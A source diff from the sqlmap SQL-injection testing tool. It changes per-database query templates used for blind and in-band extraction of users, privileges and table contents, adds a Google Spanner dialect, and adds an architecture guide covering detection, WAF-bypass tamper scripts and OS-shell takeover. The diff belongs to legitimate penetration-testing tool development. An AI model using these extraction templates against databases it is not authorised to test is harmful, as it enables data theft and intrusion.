-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
+            <inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8"/>
         </users>
         <tables>
             <inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
             <blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG=0)"/>
         </tables>
         <privileges>
-            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
-            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
+            <inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES WHERE RDB$USER_TYPE=8" condition="RDB$USER"/>
+            <blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s' AND RDB$USER_TYPE=8"/>
         </privileges>
         <roles/>
         <statements/>
@@ -726,7 +748,8 @@
             <inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -790,7 +813,8 @@
             <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME" query2="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition2="COLUMN_NAME"/>
         </columns>
         <dump_table>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
         </dump_table>
         <search_db>
@@ -1136,9 +1160,9 @@
         <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
         <hex query="TO_HEX(%s)"/>
         <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
-        <banner/>
+        <banner query="version()"/>
         <current_user query="CURRENT_USER"/>
-        <current_db/>
+        <current_db query="current_schema"/>
         <hostname/>
         <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
         <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
@@ -1321,7 +1345,7 @@
     </dbms>
 
     <dbms value="ClickHouse">
-        <cast query="CAST(%s AS String)"/>
+        <cast query="CAST(%s AS Nullable(String))"/>
         <length query="length(%s)"/>
         <isnull query="ifNull(%s, '')"/>
         <delimiter query="||"/>
@@ -1424,7 +1448,7 @@
         <passwords/>
         <privileges>
             <inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
-            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
+            <blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
         </privileges>
         <roles/>
         <statements>
@@ -1445,7 +1469,8 @@
         </columns>
         <dump_table>
             <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
-            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
+            <primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
         </dump_table>
         <search_db>
             <inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
@@ -1713,6 +1738,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (IF(%s,1,0))"/>
         <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner/>
         <current_user/>
         <current_db/>
@@ -1752,6 +1778,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
         <banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
         <current_user query="USERNAME()"/>
         <current_db query="UPPER(USERNAME())"/>
@@ -1803,6 +1830,7 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
         <banner query="CURRENT_VERSION()"/>
         <current_user query="CURRENT_USER()"/>
         <current_db query="CURRENT_SCHEMA()"/>
@@ -1843,4 +1871,67 @@
         <search_table/>
         <search_column/>
     </dbms>
+
+    <dbms value="Spanner">
+        <cast query="CAST(%s AS STRING)"/>
+        <length query="CHAR_LENGTH(CAST(%s AS STRING))"/>
+        <isnull query="IFNULL(CAST(%s AS STRING),' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTR(CAST((%s) AS STRING),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(CAST(%s AS BYTES))"/>
+        <inference query="TO_CODE_POINTS(SUBSTR(CAST((%s) AS STRING),%d,1))[SAFE_OFFSET(0)]>%d"/>
+        <banner query="'Google Cloud Spanner'"/>
+        <current_user/>
+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements>
+            <inband query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+            <blind query="SELECT text FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE" count="SELECT COUNT(text) FROM SPANNER_SYS.QUERY_STATS_TOP_MINUTE"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT CASE schema_name WHEN '' THEN 'default' ELSE schema_name END FROM INFORMATION_SCHEMA.SCHEMATA GROUP BY schema_name ORDER BY schema_name LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT CASE table_schema WHEN '' THEN 'default' ELSE table_schema END,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

doc/ARCHITECTURE.md

@@ -0,0 +1,237 @@
+# sqlmap architecture
+
+A contributor-oriented map of how sqlmap is put together: the major components,
+how a run flows through them, and where to start looking for a given concern.
+
+> This is a map, not a spec. It describes the durable structure and data flow; for
+> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
+> the source is authoritative. **When this document disagrees with the code, the code wins.**
+
+sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
+non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
+`thirdparty/six`.
+
+---
+
+## 1. Entry points
+
+| Entry | File | Purpose |
+|-------|------|---------|
+| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
+| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
+
+`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
+quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
+setup), then dispatches to `start()` for a normal scan, or to the self-tests
+(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
+
+---
+
+## 2. Global state: `conf` and `kb`
+
+Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
+both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
+
+- **`conf`** - the resolved user configuration (options + derived settings). What the
+  user asked for.
+- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
+  (identified DBMS, injection points, page templates, caches, locks, counters).
+
+The configuration pipeline (`lib/core/`):
+
+- `parse/cmdline.py` - argparse definition of every CLI option.
+- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
+- `core/defaults.py` - default values.
+- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
+  `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
+  setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
+- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
+
+Identifiers in the codebase are camelCase.
+
+---
+
+## 3. Top-level layout
+
+| Path | Responsibility |
+|------|----------------|
+| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
+| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
+| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
+| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
+| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
+| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
+| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
+| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
+| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
+| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
+| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
+| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
+| `tests/` | stdlib-unittest suite (offline); see section 11 |
+| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
+| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
+
+---
+
+## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
+
+For each target:
+
+1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
+   resolve URL/params, open the per-target output dir and session file
+   (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
+   cached values) from the session.
+2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
+   `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
+   dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
+3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
+4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
+   the data engine (section 5). Confirmed points are appended to `kb.injections`.
+5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
+   back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
+   enumeration is dispatched (section 7).
+6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
+   (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
+   `conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
+
+If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
+`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
+`SqlmapNotVulnerableException`.
+
+---
+
+## 5. The data-driven detection engine
+
+Detection behavior lives in **data, not code** - `data/xml/`, loaded by
+`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
+
+- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
+  clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
+- **`payloads/*.xml`** - the *tests*, one file per technique
+  (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
+  `union_query`), each with the request template and the comparison/grep logic that
+  decides success.
+
+`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
+identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
+forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
+`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
+`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
+by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
+plus titles/errors/HTTP-code signals).
+
+---
+
+## 6. Exploitation techniques
+
+Once a parameter is injectable, value extraction is dispatched by
+`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
+
+| Technique | Engine | Mechanism |
+|-----------|--------|-----------|
+| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
+| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
+| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
+| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
+| inline query | (inline, via inject) | value embedded in the original query position |
+| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
+
+`bisection()` is the hot loop; it caches the `--charset` table in
+`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
+(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
+`getCurrentThreadData()` (`lib/core/threads.py`).
+
+---
+
+## 7. DBMS abstraction
+
+Enumeration is DBMS-agnostic at the top and specialized underneath:
+
+- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
+  `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
+  `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
+  (direct DB connection for `-d`).
+- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
+  pieces and supplying dialect specifics.
+- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
+  enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
+  the dialect comes from XML.
+
+`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
+
+---
+
+## 8. Output and session
+
+- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
+  plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
+  is via `logger` (`lib/core/log.py`).
+- **Session / resume** - each target gets a SQLite session file
+  (`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
+  (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
+  fingerprint, and extracted values so a re-run *resumes* instead of re-testing
+  (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
+  stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
+
+---
+
+## 9. Request layer and tampering
+
+`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
+protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
+persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
+comparison oracle (`comparison.py`).
+
+**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
+Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
+chains them in priority order. They are payload-string transforms only (no engine
+coupling), which is why they compose freely.
+
+---
+
+## 10. REST API and JSON report
+
+`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
+subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
+an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
+`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
+The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
+
+`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
+that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
+drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
+
+---
+
+## 11. Tests and self-tests
+
+Two complementary layers:
+
+- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
+  green on py2 + py3. `_testutils.py` bootstraps global state and provides the
+  property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
+  `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
+  makes a `getFileType(__file__)` doctest see `binary`).
+- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
+  (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
+  the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
+  (`.github/workflows/tests.yml`) runs all of these.
+
+---
+
+## 12. "Where do I start for ...?"
+
+| I want to change... | Start in |
+|---------------------|----------|
+| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
+| a constant/threshold | `lib/core/settings.py` |
+| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
+| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
+| the true/false decision | `lib/request/comparison.py` |
+| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
+| enumeration behavior | `plugins/generic/*.py` |
+| dump/output format | `lib/core/dump.py` |
+| a WAF-bypass transform | add a file under `tamper/` |
+| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
+| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
+| a stdlib monkey-patch / security shim | `lib/core/patch.py` |

doc/THANKS.md

@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
 * for reviewing the documentation
 
 Dimitris Giannitsaros, <daremon(at)gmail.com>
-* for contributing a REST-JSON API client
+* for contributing a REST API client
 
 Nico Golde, <nico(at)ngolde.de>
 * for reporting a couple of bugs

doc/THIRD-PARTY.md

@@ -15,7 +15,7 @@ This file lists bundled packages and their associated licensing terms.
   Copyright (C) 2013, Jonathan Hartley.
 * The `Fcrypt` library located under `thirdparty/fcrypt/`.
   Copyright (C) 2000, 2001, 2004 Carey Evans.
-* The `SocksiPy` library located under `thirdparty/socks/`.
+* The `PySocks` library located under `thirdparty/socks/`.
   Copyright (C) 2006, Dan-Haim.
 
 ````
@@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 * The `Chardet` library located under `thirdparty/chardet/`.
   Copyright (C) 2008, Mark Pilgrim.
-* The `KeepAlive` library located under `thirdparty/keepalive/`.
-  Copyright (C) 2002-2003, Michael D. Stenner.
 * The `MultipartPost` library located under `thirdparty/multipart/`.
   Copyright (C) 2006, Will Holcomb.
 * The `icmpsh` tool located under `extra/icmpsh/`.

doc/translations/README-ar-AR.md

@@ -58,7 +58,7 @@
 ----
 
 * الصفحة الرئيسية: https://sqlmap.org
-* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
 * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki

extra/cloak/cloak.py

@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
         sys.exit(1)
-    finally:
-        f.close()
 
     return data
 

extra/shutils/pypi.sh

@@ -63,6 +63,10 @@ setup(
     },
 )
 EOF
+cat > "$TMP_DIR/setup.cfg" << "EOF"
+[bdist_wheel]
+universal = 1
+EOF
